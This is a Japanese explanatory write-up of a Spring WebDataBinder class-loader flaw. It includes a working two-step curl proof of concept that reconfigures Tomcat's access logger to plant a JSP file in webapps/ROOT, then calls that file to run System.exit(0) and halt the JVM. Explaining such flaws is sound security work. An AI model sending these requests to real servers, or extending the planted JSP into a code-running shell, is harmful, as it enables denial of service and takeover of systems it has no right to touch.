
本稿執筆時点では、spring-webのリクエストパラメータのバインド(WebDataBinder)は、デフォルトでオブジェクトのgetClass()メソッドへのアクセスを許可しています。
これはJVM固有の内部実装の詳細です(私見では、公開されるべきではない)。
そのため、その機能は将来のJVMバージョンで変更・拡張される可能性があります。
そのため、メンテナは、悪意のある攻撃者がその強力なアクセスを悪質な方法で悪用する巧妙な方法を予測し続けるという、恒常的な負担を負っています。
この特定のCVEでは、原因はJava 9で導入されたClass::getModule()メソッドでした。
これにより、クラスローダーへの無防備なアクセスが可能になりました。
以下の例では、攻撃者はこれを使用してTomcatのアクセスロガーを再構成します。
ロガーは通常、サーバーが受信した各リクエストに関する短い情報をログファイルに書き込みます。
プロパティpatternは書き込む情報を定義し、directoryはログファイルの配置場所を、prefix、fileDateFormat、suffixはファイル名を定義します。
次のリクエストは、脆弱なpoc-0アプリケーションのPOSTエンドポイントをターゲットにします。
これは、処理されたすべてのリクエストについて、<%{e}iSystem.exit(0);%{e}i>という行をwebapps/ROOTディレクトリ内のf.jspファイルに書き込むようにロガーを再構成します。
ここで、%{e}iはリクエストのヘッダーeの値のプレースホルダーです。
これはロガーの予期しない/創造的な使用法であり、残りは標準的なJSPおよびTomcatアプリケーションサーバーの動作です。
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
しばらくすると、f.jspファイルが作成され、Tomcatによって認識され、コンパイルされて、トラフィックを処理するために公開されます。
次のリクエストはそれを呼び出し、埋め込まれたSystem.exit(0);コードを実行して、実行中のjvmを停止させます。
curl -v http://container-ip:8080/f.jsp
これはDoSの例ですが、System.exit(0);は通常のJavaコードであるため、攻撃者はさらに多くのことができます。